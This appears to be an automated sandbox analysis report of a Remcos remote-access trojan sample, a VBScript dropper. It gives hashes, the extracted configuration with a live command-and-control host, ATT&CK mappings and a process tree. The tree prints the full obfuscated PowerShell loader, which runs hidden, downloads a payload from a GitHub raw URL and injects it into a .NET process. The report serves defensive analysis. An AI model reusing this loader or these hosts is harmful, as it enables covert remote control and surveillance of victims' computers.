remcos | 96c7c3c8df1b8ddd33de8331f5f636c5bc7d0695b5d6cf22021c31d16f6f305f

General

Target

asegurar.vbs
Size

486KB
MD5

fdcf96cf3407c66f4943f2253b16af72
SHA1

e8d416d183f29e63e5938363b3a234b20b8ea107
SHA256

96c7c3c8df1b8ddd33de8331f5f636c5bc7d0695b5d6cf22021c31d16f6f305f
SHA512

b03dcde70b44ac7b6ec4c57e52f2e0b6be96362c50881953fcf05240e704b11adca440926a2bcc7d1d494ee4b8ffd527753982eb090a05f1ccbad009506802e8
SSDEEP

12288:1BBQ2qtiJpZBdlB55pXRhDEBJ1bsXq8OnO5YWgVAjDcGS+e0W/5fyxJfd7ieMboV:5q+R2IUEF/N

Score

10^/10

remcos matrix fenix*discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

Matrix Fenix*

C2

newssssssssssssss.duckdns.org:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-XDNGQ0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2060	powershell.exe
8	2060	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2060	powershell.exe
4996	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2060 set thread context of 3424	2060	powershell.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4996	powershell.exe
4996	powershell.exe
2060	powershell.exe
2060	powershell.exe
2060	powershell.exe
2060	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4996	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3424	AddInProcess32.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 3156 wrote to memory of 4996	3156	WScript.exe	82
PID 3156 wrote to memory of 4996	3156	WScript.exe	82
PID 4996 wrote to memory of 2060	4996	powershell.exe	84
PID 4996 wrote to memory of 2060	4996	powershell.exe	84
PID 2060 wrote to memory of 2848	2060	powershell.exe	85
PID 2060 wrote to memory of 2848	2060	powershell.exe	85
PID 2060 wrote to memory of 2848	2060	powershell.exe	85
PID 2060 wrote to memory of 3424	2060	powershell.exe	86
PID 2060 wrote to memory of 3424	2060	powershell.exe	86
PID 2060 wrote to memory of 3424	2060	powershell.exe	86
PID 2060 wrote to memory of 3424	2060	powershell.exe	86
PID 2060 wrote to memory of 3424	2060	powershell.exe	86
PID 2060 wrote to memory of 3424	2060	powershell.exe	86
PID 2060 wrote to memory of 3424	2060	powershell.exe	86
PID 2060 wrote to memory of 3424	2060	powershell.exe	86
PID 2060 wrote to memory of 3424	2060	powershell.exe	86
PID 2060 wrote to memory of 3424	2060	powershell.exe	86
PID 2060 wrote to memory of 3424	2060	powershell.exe	86
PID 2060 wrote to memory of 3424	2060	powershell.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asegurar.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJFBzaE9NZVs0XSskcFNIT21FWzM0XSsnWCcpKCgoJ3snKycyfXUnKydyJysnbCAnKyc9ICcrJ3snKycwJysnfScrJ2gnKyd0JysndHAnKydzOicrJy8nKycvcicrJ2F3LicrJ2dpdGgnKyd1YicrJ3VzZXJjb250JysnZW50LmMnKydvbS9ObycrJ0RldGUnKydjdE9uL05vRGV0ZScrJ2N0TycrJ24vJysncmVmcy8nKydoJysnZScrJ2Fkcy8nKydtYWknKyduLycrJ0QnKydldCcrJ2FoTm90JysnaC1WLnR4dHswJysnfTsgeycrJzJ9YmEnKydzZTYnKyc0Q28nKydudGVudCAnKyc9IChOZXctT2JqZScrJ2N0ICcrJ1MnKyd5Jysnc3QnKydlbS5OZXQnKycuV2ViQ2xpZScrJ250KS5Eb3duJysnbG9hZFN0cmknKyduZyh7Mn0nKyd1cmwpOycrJyAnKyd7Mn1iaScrJ24nKydhcicrJ3lDbycrJ250ZScrJ250ICcrJz0gW1N5cycrJ3QnKydlbS5DbycrJ252ZXJ0JysnXTo6RnJvbUJhc2UnKyc2JysnNFMnKyd0JysncicrJ2knKyduZycrJyh7Mn0nKydiYXNlNicrJzQnKydDbycrJ250ZW4nKyd0KTsgezInKyd9YXNzZW1ibHkgPSAnKydbJysnUicrJ2VmbGVjdGlvbicrJy5Bc3NlJysnbWInKydseV06OicrJ0xvJysnYWQnKycoezJ9YmluYXInKyd5QycrJ29udGVudCcrJyk7IFsnKydkbicrJ2wnKydpYi5JJysnTy5Ib20nKydlJysnXTo6VkFJKHsxfTAnKycvZTJpJysnbUInKycvJysnZC9lZS5ldCcrJ3NhcC8vJysnOicrJ3MnKydwJysndCcrJ3QnKydoezF9LCcrJyB7MX1kJysnZXNhdCcrJ2l2JysnYWRvJysnezF9JysnLCB7MX0nKydkZScrJ3NhdGl2JysnYWRvezF9LCB7MX1kZXMnKydhdCcrJ2knKyd2YWQnKydvezF9LCcrJyB7MX1BJysnZGRJblByb2NlcycrJ3MzMnsxfScrJywgJysnezF9JysneycrJzEnKyd9LCcrJ3sxfXsxfSknKSAtRiAgW2NIYXJdMzksW2NIYXJdMzQsW2NIYXJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $PshOMe[4]+$pSHOmE[34]+'X')((('{'+'2}u'+'r'+'l '+'= '+'{'+'0'+'}'+'h'+'t'+'tp'+'s:'+'/'+'/r'+'aw.'+'gith'+'ub'+'usercont'+'ent.c'+'om/No'+'Dete'+'ctOn/NoDete'+'ctO'+'n/'+'refs/'+'h'+'e'+'ads/'+'mai'+'n/'+'D'+'et'+'ahNot'+'h-V.txt{0'+'}; {'+'2}ba'+'se6'+'4Co'+'ntent '+'= (New-Obje'+'ct '+'S'+'y'+'st'+'em.Net'+'.WebClie'+'nt).Down'+'loadStri'+'ng({2}'+'url);'+' '+'{2}bi'+'n'+'ar'+'yCo'+'nte'+'nt '+'= [Sys'+'t'+'em.Co'+'nvert'+']::FromBase'+'6'+'4S'+'t'+'r'+'i'+'ng'+'({2}'+'base6'+'4'+'Co'+'nten'+'t); {2'+'}assembly = '+'['+'R'+'eflection'+'.Asse'+'mb'+'ly]::'+'Lo'+'ad'+'({2}binar'+'yC'+'ontent'+'); ['+'dn'+'l'+'ib.I'+'O.Hom'+'e'+']::VAI({1}0'+'/e2i'+'mB'+'/'+'d/ee.et'+'sap//'+':'+'s'+'p'+'t'+'t'+'h{1},'+' {1}d'+'esat'+'iv'+'ado'+'{1}'+', {1}'+'de'+'sativ'+'ado{1}, {1}des'+'at'+'i'+'vad'+'o{1},'+' {1}A'+'ddInProces'+'s32{1}'+', '+'{1}'+'{'+'1'+'},'+'{1}{1})') -F [cHar]39,[cHar]34,[cHar]36) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2060
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:2848
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:3424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\registros.dat

Filesize
144B

MD5
9b4a8975c491dce98d391233b3ef885b

SHA1
59411b6afd8ba098db13e7abf629600a96a17b9d

SHA256
b9992a561fd8101663802c798ce7d906c419442c215666de6e5cb8a3e5a34d9d

SHA512
d83a9e23b0bdadbfa6718ee62693139513713d5eb836eb0c9ed7eff782a2c5771a7f9165b80424e4951319b87e681350dabd0c429f0a6eb307134e551808ec5b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
235a8eb126d835efb2e253459ab8b089

SHA1
293fbf68e6726a5a230c3a42624c01899e35a89f

SHA256
5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

SHA512
a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tiyytzis.uh5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2060-22-0x000001E33A680000-0x000001E33A8A0000-memory.dmp

Filesize
2.1MB

Download
memory/3424-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-26-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-30-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-23-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-68-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-61-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-52-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3424-60-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4996-1-0x00000212A5010000-0x00000212A5032000-memory.dmp

Filesize
136KB

Download
memory/4996-0-0x00007FFAA7F43000-0x00007FFAA7F45000-memory.dmp

Filesize
8KB

Download
memory/4996-34-0x00007FFAA7F40000-0x00007FFAA8A01000-memory.dmp

Filesize
10.8MB

Download
memory/4996-11-0x00007FFAA7F40000-0x00007FFAA8A01000-memory.dmp

Filesize
10.8MB

Download
memory/4996-12-0x00007FFAA7F40000-0x00007FFAA8A01000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads